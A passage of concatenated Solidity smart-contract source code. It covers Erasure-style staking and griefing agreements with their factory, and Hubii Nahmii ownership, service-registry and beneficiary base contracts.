* => 0xcf5ba53f ^ 0x18c2f4cf ^ 0xa5e13904 ^ 0xaaf10f42 == 0xd88967b6
*/
interface iFactory {
event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData);
function create(bytes calldata initData) external returns (address instance);
function getInitdataABI() external view returns (string memory initABI);
function getInstanceRegistry() external view returns (address instanceRegistry);
function getTemplate() external view returns (address template);
function getInstanceCreator(address instance) external view returns (address creator);
function getInstanceType() external view returns (bytes4 instanceType);
function getInstanceCount() external view returns (uint256 count);
function getInstance(uint256 index) external view returns (address instance);
function getInstances() external view returns (address[] memory instances);
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances);
}
contract iNMR {
// ERC20
function totalSupply() external returns (uint256);
function balanceOf(address _owner) external returns (uint256);
function allowance(address _owner, address _spender) external returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool ok);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool ok);
function approve(address _spender, uint256 _value) external returns (bool ok);
function changeApproval(address _spender, uint256 _oldValue, uint256 _newValue) external returns (bool ok);
// burn
function mint(uint256 _value) external returns (bool ok);
// burnFrom
function numeraiTransfer(address _to, uint256 _value) external returns (bool ok);
}
contract Factory is Spawner {
address[] private _instances;
mapping (address => address) private _instanceCreator;
/* NOTE: The following items can be hardcoded as constant to save ~200 gas/create */
address private _templateContract;
string private _initdataABI;
address private _instanceRegistry;
bytes4 private _instanceType;
event InstanceCreated(address indexed instance, address indexed creator, bytes callData);
function _initialize(address instanceRegistry, address templateContract, bytes4 instanceType, string memory initdataABI) internal {
// set instance registry
_instanceRegistry = instanceRegistry;
// set logic contract
_templateContract = templateContract;
// set initdataABI
_initdataABI = initdataABI;
// validate correct instance registry
require(instanceType == iRegistry(instanceRegistry).getInstanceType(), 'incorrect instance type');
// set instanceType
_instanceType = instanceType;
}
// IFactory methods
function _create(bytes memory callData) internal returns (address instance) {
// deploy new contract: initialize it & write minimal proxy to runtime.
instance = Spawner._spawn(getTemplate(), callData);
// add the instance to the array
_instances.push(instance);
// set instance creator
_instanceCreator[instance] = msg.sender;
// add the instance to the instance registry
iRegistry(getInstanceRegistry()).register(instance, msg.sender, uint64(0));
// emit event
emit InstanceCreated(instance, msg.sender, callData);
}
function getInstanceCreator(address instance) public view returns (address creator) {
creator = _instanceCreator[instance];
}
function getInstanceType() public view returns (bytes4 instanceType) {
instanceType = _instanceType;
}
function getInitdataABI() public view returns (string memory initdataABI) {
initdataABI = _initdataABI;
}
function getInstanceRegistry() public view returns (address instanceRegistry) {
instanceRegistry = _instanceRegistry;
}
function getTemplate() public view returns (address template) {
template = _templateContract;
}
function getInstanceCount() public view returns (uint256 count) {
count = _instances.length;
}
function getInstance(uint256 index) public view returns (address instance) {
require(index < _instances.length, "index out of range");
instance = _instances[index];
}
function getInstances() public view returns (address[] memory instances) {
instances = _instances;
}
// Note: startIndex is inclusive, endIndex exclusive
function getPaginatedInstances(uint256 startIndex, uint256 endIndex) public view returns (address[] memory instances) {
require(startIndex < endIndex, "startIndex must be less than endIndex");
require(endIndex <= _instances.length, "end index out of range");
// initialize fixed size memory array
address[] memory range = new address[](endIndex - startIndex);
// Populate array with addresses in range
for (uint256 i = startIndex; i < endIndex; i++) {
range[i - startIndex] = _instances[i];
}
// return array of addresses
instances = range;
}
}
/* Countdown timer
*/
contract Countdown is Deadline {
using SafeMath for uint256;
uint256 private _length;
event LengthSet(uint256 length);
// state functions
function _setLength(uint256 length) internal {
_length = length;
emit LengthSet(length);
}
function _start() internal returns (uint256 deadline) {
require(_length != 0, "length not set");
deadline = _length.add(now);
Deadline._setDeadline(deadline);
}
// view functions
function getLength() public view returns (uint256 length) {
length = _length;
}
// if Deadline._setDeadline or Countdown._setLength is not called,
// isOver will yield false
function isOver() public view returns (bool status) {
// when length or deadline not set,
// countdown has not started, hence not isOver
if (_length == 0 || Deadline.getDeadline() == 0) {
status = false;
} else {
status = Deadline.isAfterDeadline();
}
}
// timeRemaining will default to 0 if _setDeadline is not called
// if the now exceeds deadline, just return 0 as the timeRemaining
function timeRemaining() public view returns (uint256 time) {
if (now >= Deadline.getDeadline()) {
time = 0;
} else {
time = Deadline.getDeadline().sub(now);
}
}
}
contract Template {
address private _factory;
// modifiers
modifier initializeTemplate() {
// set factory
_factory = msg.sender;
// only allow function to be delegatecalled from within a constructor.
uint32 codeSize;
assembly { codeSize := extcodesize(address) }
require(codeSize == 0, "must be called within contract constructor");
_;
}
// view functions
function getCreator() public view returns (address creator) {
// iFactory(...) would revert if _factory address is not actually a factory contract
creator = iFactory(_factory).getInstanceCreator(address(this));
}
function isCreator(address caller) public view returns (bool ok) {
ok = (caller == getCreator());
}
}
/**
* @title NMR token burning helper
* @dev Allows for calling NMR burn functions using regular openzeppelin ERC20Burnable interface and revert on failure.
*/
contract BurnNMR {
// address of the token
address private _Token; // can be hardcoded on mainnet deployment to reduce cost
function _setToken(address token) internal {
// set storage
_Token = token;
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function _burn(uint256 value) internal {
require(iNMR(_Token).mint(value), "nmr burn failed");
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance.
* @param from address The account whose tokens will be burned.
* @param value uint256 The amount of token to be burned.
*/
function _burnFrom(address from, uint256 value) internal {
require(iNMR(_Token).numeraiTransfer(from, value), "nmr burnFrom failed");
}
function getToken() public view returns (address token) {
token = _Token;
}
}
contract Staking is BurnNMR {
using SafeMath for uint256;
mapping (address => uint256) private _stake;
event TokenSet(address token);
event StakeAdded(address staker, address funder, uint256 amount, uint256 newStake);
event StakeTaken(address staker, address recipient, uint256 amount, uint256 newStake);
event StakeBurned(address staker, uint256 amount, uint256 newStake);
modifier tokenMustBeSet() {
require(BurnNMR.getToken() != address(0), "token not set yet");
_;
}
// state functions
function _setToken(address token) internal {
// set storage
BurnNMR._setToken(token);
// emit event
emit TokenSet(token);
}
function _addStake(address staker, address funder, uint256 currentStake, uint256 amountToAdd) internal tokenMustBeSet {
// require current stake amount matches expected amount
require(currentStake == _stake[staker], "current stake incorrect");
// require non-zero stake to add
require(amountToAdd > 0, "no stake to add");
// calculate new stake amount
uint256 newStake = currentStake.add(amountToAdd);
// set new stake to storage
_stake[staker] = newStake;
// transfer the stake amount
require(IERC20(BurnNMR.getToken()).transferFrom(funder, address(this), amountToAdd), "token transfer failed");
// emit event
emit StakeAdded(staker, funder, amountToAdd, newStake);
}
function _takeStake(address staker, address recipient, uint256 currentStake, uint256 amountToTake) internal tokenMustBeSet {
// require current stake amount matches expected amount
require(currentStake == _stake[staker], "current stake incorrect");
// require non-zero stake to take
require(amountToTake > 0, "no stake to take");
// amountToTake has to be less than equal currentStake
require(amountToTake <= currentStake, "cannot take more than currentStake");
// calculate new stake amount
uint256 newStake = currentStake.sub(amountToTake);
// set new stake to storage
_stake[staker] = newStake;
// transfer the stake amount
require(IERC20(BurnNMR.getToken()).transfer(recipient, amountToTake), "token transfer failed");
// emit event
emit StakeTaken(staker, recipient, amountToTake, newStake);
}
function _takeFullStake(address staker, address recipient) internal tokenMustBeSet returns (uint256 stake) {
// get stake from storage
stake = _stake[staker];
// take full stake
_takeStake(staker, recipient, stake, stake);
}
function _burnStake(address staker, uint256 currentStake, uint256 amountToBurn) tokenMustBeSet internal {
// require current stake amount matches expected amount
require(currentStake == _stake[staker], "current stake incorrect");
// require non-zero stake to burn
require(amountToBurn > 0, "no stake to burn");
// amountToTake has to be less than equal currentStake
require(amountToBurn <= currentStake, "cannot burn more than currentStake");
// calculate new stake amount
uint256 newStake = currentStake.sub(amountToBurn);
// set new stake to storage
_stake[staker] = newStake;
// burn the stake amount
BurnNMR._burn(amountToBurn);
// emit event
emit StakeBurned(staker, amountToBurn, newStake);
}
function _burnFullStake(address staker) internal tokenMustBeSet returns (uint256 stake) {
// get stake from storage
stake = _stake[staker];
// burn full stake
_burnStake(staker, stake, stake);
}
// view functions
function getStake(address staker) public view returns (uint256 stake) {
stake = _stake[staker];
}
}
contract Griefing is Staking {
enum RatioType { NaN, Inf, Dec }
mapping (address => GriefRatio) private _griefRatio;
struct GriefRatio {
uint256 ratio;
RatioType ratioType;
}
event RatioSet(address staker, uint256 ratio, RatioType ratioType);
event Griefed(address punisher, address staker, uint256 punishment, uint256 cost, bytes message);
uint256 internal constant e18 = uint256(10) ** uint256(18);
// state functions
function _setRatio(address staker, uint256 ratio, RatioType ratioType) internal {
if (ratioType == RatioType.NaN || ratioType == RatioType.Inf) {
require(ratio == 0, "ratio must be 0 when ratioType is NaN or Inf");
}
// set data in storage
_griefRatio[staker].ratio = ratio;
_griefRatio[staker].ratioType = ratioType;
// emit event
emit RatioSet(staker, ratio, ratioType);
}
function _grief(address punisher, address staker, uint256 punishment, bytes memory message) internal returns (uint256 cost) {
require(BurnNMR.getToken() != address(0), "token not set");
// get grief data from storage
uint256 ratio = _griefRatio[staker].ratio;
RatioType ratioType = _griefRatio[staker].ratioType;
require(ratioType != RatioType.NaN, "no punishment allowed");
// calculate cost
// getCost also acts as a guard when _setRatio is not called before
cost = getCost(ratio, punishment, ratioType);
// burn the cost from the punisher's balance
BurnNMR._burnFrom(punisher, cost);
// get stake from storage
uint256 currentStake = Staking.getStake(staker);
// burn the punishment from the target's stake
Staking._burnStake(staker, currentStake, punishment);
// emit event
emit Griefed(punisher, staker, punishment, cost, message);
}
// view functions
function getRatio(address staker) public view returns (uint256 ratio, RatioType ratioType) {
// get stake data from storage
ratio = _griefRatio[staker].ratio;
ratioType = _griefRatio[staker].ratioType;
}
// pure functions
function getCost(uint256 ratio, uint256 punishment, RatioType ratioType) public pure returns(uint256 cost) {
/* Dec: Cost multiplied by ratio interpreted as a decimal number with 18 decimals, e.g. 1 -> 1e18
* Inf: Punishment at no cost
* NaN: No Punishment */
if (ratioType == RatioType.Dec) {
return DecimalMath.mul(SafeMath.mul(punishment, e18), ratio) / e18;
}
if (ratioType == RatioType.Inf)
return 0;
if (ratioType == RatioType.NaN)
revert("ratioType cannot be RatioType.NaN");
}
function getPunishment(uint256 ratio, uint256 cost, RatioType ratioType) public pure returns(uint256 punishment) {
/* Dec: Ratio is a decimal number with 18 decimals
* Inf: Punishment at no cost
* NaN: No Punishment */
if (ratioType == RatioType.Dec) {
return DecimalMath.div(SafeMath.mul(cost, e18), ratio) / e18;
}
if (ratioType == RatioType.Inf)
revert("ratioType cannot be RatioType.Inf");
if (ratioType == RatioType.NaN)
revert("ratioType cannot be RatioType.NaN");
}
}
/* Immediately engage with specific buyer
* - Stake can be increased at any time.
* - Request to end agreement and recover stake requires cooldown period to complete.
* - Counterparty can greif the staker at predefined ratio.
*
* NOTE:
* - This top level contract should only perform access control and state transitions
*
*/
contract OneWayGriefing is Countdown, Griefing, Metadata, Operated, Template {
using SafeMath for uint256;
Data private _data;
struct Data {
address staker;
address counterparty;
}
function initialize(
address token,
address operator,
address staker,
address counterparty,
uint256 ratio,
Griefing.RatioType ratioType,
uint256 countdownLength,
bytes memory staticMetadata
) public initializeTemplate() {
// set storage values
_data.staker = staker;
_data.counterparty = counterparty;
// set operator
if (operator != address(0)) {
Operated._setOperator(operator);
Operated._activateOperator();
}
// set token used for staking
Staking._setToken(token);
// set griefing ratio
Griefing._setRatio(staker, ratio, ratioType);
// set countdown length
Countdown._setLength(countdownLength);
// set static metadata
Metadata._setStaticMetadata(staticMetadata);
}
// state functions
function setVariableMetadata(bytes memory variableMetadata) public {
// restrict access
require(isStaker(msg.sender) || Operated.isActiveOperator(msg.sender), "only staker or active operator");
// update metadata
Metadata._setVariableMetadata(variableMetadata);
}
function increaseStake(uint256 currentStake, uint256 amountToAdd) public {
// restrict access
require(isStaker(msg.sender) || Operated.isActiveOperator(msg.sender), "only staker or active operator");
// require agreement is not ended
require(!Countdown.isOver(), "agreement ended");
// add stake
Staking._addStake(_data.staker, msg.sender, currentStake, amountToAdd);
}
function reward(uint256 currentStake, uint256 amountToAdd) public {
// restrict access
require(isCounterparty(msg.sender) || Operated.isActiveOperator(msg.sender), "only counterparty or active operator");
// require agreement is not ended
require(!Countdown.isOver(), "agreement ended");
// add stake
Staking._addStake(_data.staker, msg.sender, currentStake, amountToAdd);
}
function punish(address from, uint256 punishment, bytes memory message) public returns (uint256 cost) {
// restrict access
require(isCounterparty(msg.sender) || Operated.isActiveOperator(msg.sender), "only counterparty or active operator");
// require agreement is not ended
require(!Countdown.isOver(), "agreement ended");
// execute griefing
cost = Griefing._grief(from, _data.staker, punishment, message);
}
function startCountdown() public returns (uint256 deadline) {
// restrict access
require(isStaker(msg.sender) || Operated.isActiveOperator(msg.sender), "only staker or active operator");
// require countdown is not started
require(Deadline.getDeadline() == 0, "deadline already set");
// start countdown
deadline = Countdown._start();
}
function retrieveStake(address recipient) public returns (uint256 amount) {
// restrict access
require(isStaker(msg.sender) || Operated.isActiveOperator(msg.sender), "only staker or active operator");
// require deadline is passed
require(Deadline.isAfterDeadline(),"deadline not passed");
// retrieve stake
amount = Staking._takeFullStake(_data.staker, recipient);
}
function transferOperator(address operator) public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._transferOperator(operator);
}
function renounceOperator() public {
// restrict access
require(Operated.isActiveOperator(msg.sender), "only active operator");
// transfer operator
Operated._renounceOperator();
}
// view functions
function isStaker(address caller) public view returns (bool validity) {
validity = (caller == _data.staker);
}
function isCounterparty(address caller) public view returns (bool validity) {
validity = (caller == _data.counterparty);
}
}
contract OneWayGriefing_Factory is Factory {
constructor(address instanceRegistry) public {
// deploy template contract
address templateContract = address(new OneWayGriefing());
// set instance type
bytes4 instanceType = bytes4(keccak256(bytes('Agreement')));
// set initdataABI
string memory initdataABI = '(address,address,address,address,uint256,uint8,uint256,bytes)';
// initialize factory params
Factory._initialize(instanceRegistry, templateContract, instanceType, initdataABI);
}
event ExplicitInitData(address indexed staker, address indexed counterparty, address indexed operator, uint256 ratio, Griefing.RatioType ratioType, uint256 countdownLength, bytes staticMetadata);
function create(bytes memory callData) public returns (address instance) {
// deploy instance
instance = Factory._create(callData);
}
function createEncoded(bytes memory initdata) public returns (address instance) {
// decode initdata
(
address token,
address operator,
address staker,
address counterparty,
uint256 ratio,
Griefing.RatioType ratioType, // uint8
uint256 countdownLength,
bytes memory staticMetadata
) = abi.decode(initdata, (address,address,address,address,uint256,Griefing.RatioType,uint256,bytes));
// call explicit create
instance = createExplicit(token, operator, staker, counterparty, ratio, ratioType, countdownLength, staticMetadata);
}
function createExplicit(
address token,
address operator,
address staker,
address counterparty,
uint256 ratio,
Griefing.RatioType ratioType, // uint8
uint256 countdownLength,
bytes memory staticMetadata
) public returns (address instance) {
// declare template in memory
OneWayGriefing template;
// construct the data payload used when initializing the new contract.
bytes memory callData = abi.encodeWithSelector(
template.initialize.selector, // selector
token, // token
operator, // operator
staker, // staker
counterparty, // counterparty
ratio, // ratio
ratioType, // ratioType
countdownLength, // countdownLength
staticMetadata // staticMetadata
);
// deploy instance
instance = Factory._create(callData);
// emit event
emit ExplicitInitData(staker, counterparty, operator, ratio, ratioType, countdownLength, staticMetadata);
}
}
|
DC1
|
pragma solidity >=0.4.25 <0.6.0;
pragma experimental ABIEncoderV2;
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Modifiable
* @notice A contract with basic modifiers
*/
contract Modifiable {
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier notNullAddress(address _address) {
require(_address != address(0));
_;
}
modifier notThisAddress(address _address) {
require(_address != address(this));
_;
}
modifier notNullOrThisAddress(address _address) {
require(_address != address(0));
require(_address != address(this));
_;
}
modifier notSameAddresses(address _address1, address _address2) {
if (_address1 != _address2)
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title SelfDestructible
* @notice Contract that allows for self-destruction
*/
contract SelfDestructible {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
bool public selfDestructionDisabled;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SelfDestructionDisabledEvent(address wallet);
event TriggerSelfDestructionEvent(address wallet);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Get the address of the destructor role
function destructor()
public
view
returns (address);
/// @notice Disable self-destruction of this contract
/// @dev This operation can not be undone
function disableSelfDestruction()
public
{
// Require that sender is the assigned destructor
require(destructor() == msg.sender);
// Disable self-destruction
selfDestructionDisabled = true;
// Emit event
emit SelfDestructionDisabledEvent(msg.sender);
}
/// @notice Destroy this contract
function triggerSelfDestruction()
public
{
// Require that sender is the assigned destructor
require(destructor() == msg.sender);
// Require that self-destruction has not been disabled
require(!selfDestructionDisabled);
// Emit event
emit TriggerSelfDestructionEvent(msg.sender);
// Self-destruct and reward destructor
selfdestruct(msg.sender);
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Ownable
* @notice A modifiable that has ownership roles
*/
contract Ownable is Modifiable, SelfDestructible {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
address public deployer;
address public operator;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SetDeployerEvent(address oldDeployer, address newDeployer);
event SetOperatorEvent(address oldOperator, address newOperator);
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address _deployer) internal notNullOrThisAddress(_deployer) {
deployer = _deployer;
operator = _deployer;
}
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Return the address that is able to initiate self-destruction
function destructor()
public
view
returns (address)
{
return deployer;
}
/// @notice Set the deployer of this contract
/// @param newDeployer The address of the new deployer
function setDeployer(address newDeployer)
public
onlyDeployer
notNullOrThisAddress(newDeployer)
{
if (newDeployer != deployer) {
// Set new deployer
address oldDeployer = deployer;
deployer = newDeployer;
// Emit event
emit SetDeployerEvent(oldDeployer, newDeployer);
}
}
/// @notice Set the operator of this contract
/// @param newOperator The address of the new operator
function setOperator(address newOperator)
public
onlyOperator
notNullOrThisAddress(newOperator)
{
if (newOperator != operator) {
// Set new operator
address oldOperator = operator;
operator = newOperator;
// Emit event
emit SetOperatorEvent(oldOperator, newOperator);
}
}
/// @notice Gauge whether message sender is deployer or not
/// @return true if msg.sender is deployer, else false
function isDeployer()
internal
view
returns (bool)
{
return msg.sender == deployer;
}
/// @notice Gauge whether message sender is operator or not
/// @return true if msg.sender is operator, else false
function isOperator()
internal
view
returns (bool)
{
return msg.sender == operator;
}
/// @notice Gauge whether message sender is operator or deployer on the one hand, or none of these on these on
/// on the other hand
/// @return true if msg.sender is operator, else false
function isDeployerOrOperator()
internal
view
returns (bool)
{
return isDeployer() || isOperator();
}
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier onlyDeployer() {
require(isDeployer());
_;
}
modifier notDeployer() {
require(!isDeployer());
_;
}
modifier onlyOperator() {
require(isOperator());
_;
}
modifier notOperator() {
require(!isOperator());
_;
}
modifier onlyDeployerOrOperator() {
require(isDeployerOrOperator());
_;
}
modifier notDeployerOrOperator() {
require(!isDeployerOrOperator());
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Servable
* @notice An ownable that contains registered services and their actions
*/
contract Servable is Ownable {
//
// Types
// -----------------------------------------------------------------------------------------------------------------
struct ServiceInfo {
bool registered;
uint256 activationTimestamp;
mapping(bytes32 => bool) actionsEnabledMap;
bytes32[] actionsList;
}
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
mapping(address => ServiceInfo) internal registeredServicesMap;
uint256 public serviceActivationTimeout;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds);
event RegisterServiceEvent(address service);
event RegisterServiceDeferredEvent(address service, uint256 timeout);
event DeregisterServiceEvent(address service);
event EnableServiceActionEvent(address service, string action);
event DisableServiceActionEvent(address service, string action);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Set the service activation timeout
/// @param timeoutInSeconds The set timeout in unit of seconds
function setServiceActivationTimeout(uint256 timeoutInSeconds)
public
onlyDeployer
{
serviceActivationTimeout = timeoutInSeconds;
// Emit event
emit ServiceActivationTimeoutEvent(timeoutInSeconds);
}
/// @notice Register a service contract whose activation is immediate
/// @param service The address of the service contract to be registered
function registerService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, 0);
// Emit event
emit RegisterServiceEvent(service);
}
/// @notice Register a service contract whose activation is deferred by the service activation timeout
/// @param service The address of the service contract to be registered
function registerServiceDeferred(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
_registerService(service, serviceActivationTimeout);
// Emit event
emit RegisterServiceDeferredEvent(service, serviceActivationTimeout);
}
/// @notice Deregister a service contract
/// @param service The address of the service contract to be deregistered
function deregisterService(address service)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
registeredServicesMap[service].registered = false;
// Emit event
emit DeregisterServiceEvent(service);
}
/// @notice Enable a named action in an already registered service contract
/// @param service The address of the registered service contract
/// @param action The name of the action to be enabled
function enableServiceAction(address service, string memory action)
public
onlyDeployer
notNullOrThisAddress(service)
{
require(registeredServicesMap[service].registered);
bytes32 actionHash = hashString(action);
require(!registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = true;
registeredServicesMap[service].actionsList.push(actionHash);
// Emit event
emit EnableServiceActionEvent(service, action);
}
/// @notice Enable a named action in a service contract
/// @param service The address of the service contract
/// @param action The name of the action to be disabled
function disableServiceAction(address service, string memory action)
public
onlyDeployer
notNullOrThisAddress(service)
{
bytes32 actionHash = hashString(action);
require(registeredServicesMap[service].actionsEnabledMap[actionHash]);
registeredServicesMap[service].actionsEnabledMap[actionHash] = false;
// Emit event
emit DisableServiceActionEvent(service, action);
}
/// @notice Gauge whether a service contract is registered
/// @param service The address of the service contract
/// @return true if service is registered, else false
function isRegisteredService(address service)
public
view
returns (bool)
{
return registeredServicesMap[service].registered;
}
/// @notice Gauge whether a service contract is registered and active
/// @param service The address of the service contract
/// @return true if service is registered and activate, else false
function isRegisteredActiveService(address service)
public
view
returns (bool)
{
return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp;
}
/// @notice Gauge whether a service contract action is enabled which implies also registered and active
/// @param service The address of the service contract
/// @param action The name of action
function isEnabledServiceAction(address service, string memory action)
public
view
returns (bool)
{
bytes32 actionHash = hashString(action);
return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash];
}
//
// Internal functions
// -----------------------------------------------------------------------------------------------------------------
function hashString(string memory _string)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_string));
}
//
// Private functions
// -----------------------------------------------------------------------------------------------------------------
function _registerService(address service, uint256 timeout)
private
{
if (!registeredServicesMap[service].registered) {
registeredServicesMap[service].registered = true;
registeredServicesMap[service].activationTimestamp = block.timestamp + timeout;
}
}
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier onlyActiveService() {
require(isRegisteredActiveService(msg.sender));
_;
}
modifier onlyEnabledServiceAction(string memory action) {
require(isEnabledServiceAction(msg.sender, action));
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Community vote
* @notice An oracle for relevant decisions made by the community.
*/
contract CommunityVote is Ownable {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
mapping(address => bool) doubleSpenderByWallet;
uint256 maxDriipNonce;
uint256 maxNullNonce;
bool dataAvailable;
//
// Constructor
// -----------------------------------------------------------------------------------------------------------------
constructor(address deployer) Ownable(deployer) public {
dataAvailable = true;
}
//
// Results functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Get the double spender status of given wallet
/// @param wallet The wallet address for which to check double spender status
/// @return true if wallet is double spender, false otherwise
function isDoubleSpenderWallet(address wallet)
public
view
returns (bool)
{
return doubleSpenderByWallet[wallet];
}
/// @notice Get the max driip nonce to be accepted in settlements
/// @return the max driip nonce
function getMaxDriipNonce()
public
view
returns (uint256)
{
return maxDriipNonce;
}
/// @notice Get the max null settlement nonce to be accepted in settlements
/// @return the max driip nonce
function getMaxNullNonce()
public
view
returns (uint256)
{
return maxNullNonce;
}
/// @notice Get the data availability status
/// @return true if data is available
function isDataAvailable()
public
view
returns (bool)
{
return dataAvailable;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title CommunityVotable
* @notice An ownable that has a community vote property
*/
contract CommunityVotable is Ownable {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
CommunityVote public communityVote;
bool public communityVoteFrozen;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event SetCommunityVoteEvent(CommunityVote oldCommunityVote, CommunityVote newCommunityVote);
event FreezeCommunityVoteEvent();
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Set the community vote contract
/// @param newCommunityVote The (address of) CommunityVote contract instance
function setCommunityVote(CommunityVote newCommunityVote)
public
onlyDeployer
notNullAddress(address(newCommunityVote))
notSameAddresses(address(newCommunityVote), address(communityVote))
{
require(!communityVoteFrozen, "Community vote frozen [CommunityVotable.sol:41]");
// Set new community vote
CommunityVote oldCommunityVote = communityVote;
communityVote = newCommunityVote;
// Emit event
emit SetCommunityVoteEvent(oldCommunityVote, newCommunityVote);
}
/// @notice Freeze the community vote from further updates
/// @dev This operation can not be undone
function freezeCommunityVote()
public
onlyDeployer
{
communityVoteFrozen = true;
// Emit event
emit FreezeCommunityVoteEvent();
}
//
// Modifiers
// -----------------------------------------------------------------------------------------------------------------
modifier communityVoteInitialized() {
require(address(communityVote) != address(0), "Community vote not initialized [CommunityVotable.sol:67]");
_;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Beneficiary
* @notice A recipient of ethers and tokens
*/
contract Beneficiary {
/// @notice Receive ethers to the given wallet's given balance type
/// @param wallet The address of the concerned wallet
/// @param balanceType The target balance type of the wallet
function receiveEthersTo(address wallet, string memory balanceType)
public
payable;
/// @notice Receive token to the given wallet's given balance type
/// @dev The wallet must approve of the token transfer prior to calling this function
/// @param wallet The address of the concerned wallet
/// @param balanceType The target balance type of the wallet
/// @param amount The amount to deposit
/// @param currencyCt The address of the concerned currency contract (address(0) == ETH)
/// @param currencyId The ID of the concerned currency (0 for ETH and ERC20)
/// @param standard The standard of the token ("" for default registered, "ERC20", "ERC721")
function receiveTokensTo(address wallet, string memory balanceType, int256 amount, address currencyCt,
uint256 currencyId, string memory standard)
public;
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title MonetaryTypesLib
* @dev Monetary data types
*/
library MonetaryTypesLib {
//
// Structures
// -----------------------------------------------------------------------------------------------------------------
struct Currency {
address ct;
uint256 id;
}
struct Figure {
int256 amount;
Currency currency;
}
struct NoncedAmount {
uint256 nonce;
int256 amount;
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title AccrualBeneficiary
* @notice A beneficiary of accruals
*/
contract AccrualBeneficiary is Beneficiary {
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
event CloseAccrualPeriodEvent();
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
function closeAccrualPeriod(MonetaryTypesLib.Currency[] memory)
public
{
emit CloseAccrualPeriodEvent();
}
}
/*
* Hubii Nahmii
*
* Compliant with the Hubii Nahmii specification v0.12.
*
* Copyright (C) 2017-2018 Hubii AS
*/
/**
* @title Benefactor
* @notice An ownable that contains registered beneficiaries
*/
contract Benefactor is Ownable {
//
// Variables
// -----------------------------------------------------------------------------------------------------------------
Beneficiary[] public beneficiaries;
mapping(address => uint256) public beneficiaryIndexByAddress;
//
// Events
// -----------------------------------------------------------------------------------------------------------------
event RegisterBeneficiaryEvent(Beneficiary beneficiary);
event DeregisterBeneficiaryEvent(Beneficiary beneficiary);
//
// Functions
// -----------------------------------------------------------------------------------------------------------------
/// @notice Register the given beneficiary
/// @param beneficiary Address of beneficiary to be registered
function registerBeneficiary(Beneficiary beneficiary)
public
onlyDeployer
notNullAddress(address(beneficiary))
returns (bool)
{
address _beneficiary = address(beneficiary);
if (beneficiaryIndexByAddress[_beneficiary] > 0)
return false;
beneficiaries.push(beneficiary);
beneficiaryIndexByAddress[_beneficiary] = beneficiaries.length;
// Emit event
emit RegisterBeneficiaryEvent(beneficiary);
return true;
}
/// @notice Deregister the given beneficiary
/// @param beneficiary Address of beneficiary to be deregistered
function deregisterBeneficiary(Beneficiary beneficiary)
public
onlyDeployer
notNullAddress(address(beneficiary))
returns (bool)
{
address _beneficiary = address(beneficiary);
if (beneficiaryIndexByAddress[_beneficiary] == 0)
return false;
uint256 idx = beneficiaryIndexByAddress[_beneficiary] - 1;
if (idx < beneficiaries.length - 1) {
// Remap the last item in the array to this index
beneficiaries[idx] = beneficiaries[beneficiaries.length - 1];
beneficiaryIndexByAddress[address(beneficiaries[idx])] = idx + 1;
}
beneficiaries.length--;
beneficiaryIndexByAddress[_beneficiary] = 0;
// Emit event
emit DeregisterBeneficiaryEvent(beneficiary);
return true;
}
/// @notice Gauge whether the given address is the one of a registered beneficiary
/// @param beneficiary Address of beneficiary
